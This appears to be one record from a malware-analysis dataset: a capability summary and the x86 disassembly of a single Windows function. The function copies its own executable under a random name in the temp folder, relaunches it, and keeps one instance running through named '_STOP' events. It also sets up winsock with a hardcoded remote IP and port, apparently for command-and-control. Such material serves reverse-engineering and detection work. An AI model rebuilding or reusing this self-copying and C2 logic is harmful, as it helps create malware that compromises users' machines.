Function at 0x40128b
Capabilities:
Create process on windows
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc00
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
mov dword [0x4246f0], eax
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x424628
push 0x424560
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x4012d9
xor eax, eax
jmp 0x401619
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0xa6c], ax
lea eax, [ebp - 0xa6a]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x864], ax
lea eax, [ebp - 0x862]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
push 0x104
lea eax, [ebp - 0xa6c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x41dc68
push 0x425130
call fcn.00408dc3
pop ecx
pop ecx
test eax, eax
je 0x4014d7
xor eax, eax
push edi
mov word [ebp - 0x454], ax
lea eax, [ebp - 0x452]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x65c], ax
lea eax, [ebp - 0x65a]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea eax, [ebp - 0x454]
push 0x41dc8c
push eax
call fcn.00408da4
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x65c]
push eax
call fcn.00408da4
lea eax, [ebp - 0x65c]
push str._STOP
push eax
call fcn.00408d76
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
add esp, 0x18
lea eax, [ebp - 0x454]
push eax
push esi
mov ebx, 0x20000
push ebx
call edi
cmp eax, esi
je 0x40142d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x65c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0xc00], esi
jmp 0x40141e
cmp dword [ebp - 0xc00], 5
jge 0x40142d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xc00]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x454]
push eax
push esi
push ebx
call edi
cmp eax, esi
jne 0x4013fd
mov edi, 0x208
push edi
lea eax, [ebp - 0x24c]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea eax, [ebp - 0x24c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x864]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408e77
pop ecx
lea eax, [ebp - 0x864]
push eax
push 7
push 6
call fcn.004028ec
add esp, 0xc
lea eax, [ebp - 0x864]
push eax
lea eax, [ebp - 0x24c]
push eax
push str._s_s.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0xa6c]
push eax
push 0x32
pop eax
call fcn.004018a4
add esp, 0x18
push 1
push esi
push 0x41dc68
lea eax, [ebp - 0x24c]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0xbfc]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x424eb0
call fcn.00408b07
pop ecx
test eax, eax
jne 0x40159c
push 0x3a
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea edi, [ebp - 0x44]
call fcn.00401000
mov eax, edi
push eax
push 0x425058
call fcn.00408da4
push str.218.54.31.165
push 0x40
push 0x424eb4
call fcn.00409215
add esp, 0x14
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x424f36
mov word [0x424f34], ax
call fcn.00409215
add esp, 0xc
push 0x41dce4
push 0x40
push 0x424f56
call fcn.00409215
mov eax, 0x2b66
mov word [0x424fd6], ax
mov eax, edi
add esp, 0xc
push eax
mov edi, 0x425038
push edi
call fcn.00408da4
push 0x41dd00
push edi
call fcn.00408d76
add esp, 0x10
mov dword [0x425078], 5
call fcn.00401791
push 0x41dc8c
mov edi, 0x4250b0
push edi
call fcn.00408d76
pop ecx
pop ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x4015db
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4012d2
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4012d2
mov ecx, 0x425548
call fcn.00402318
mov eax, dword [0x42507c]
push esi
push esi
push esi
push 0x401703
push esi
push esi
mov dword [0x425550], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4235d8], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cba
leave
ret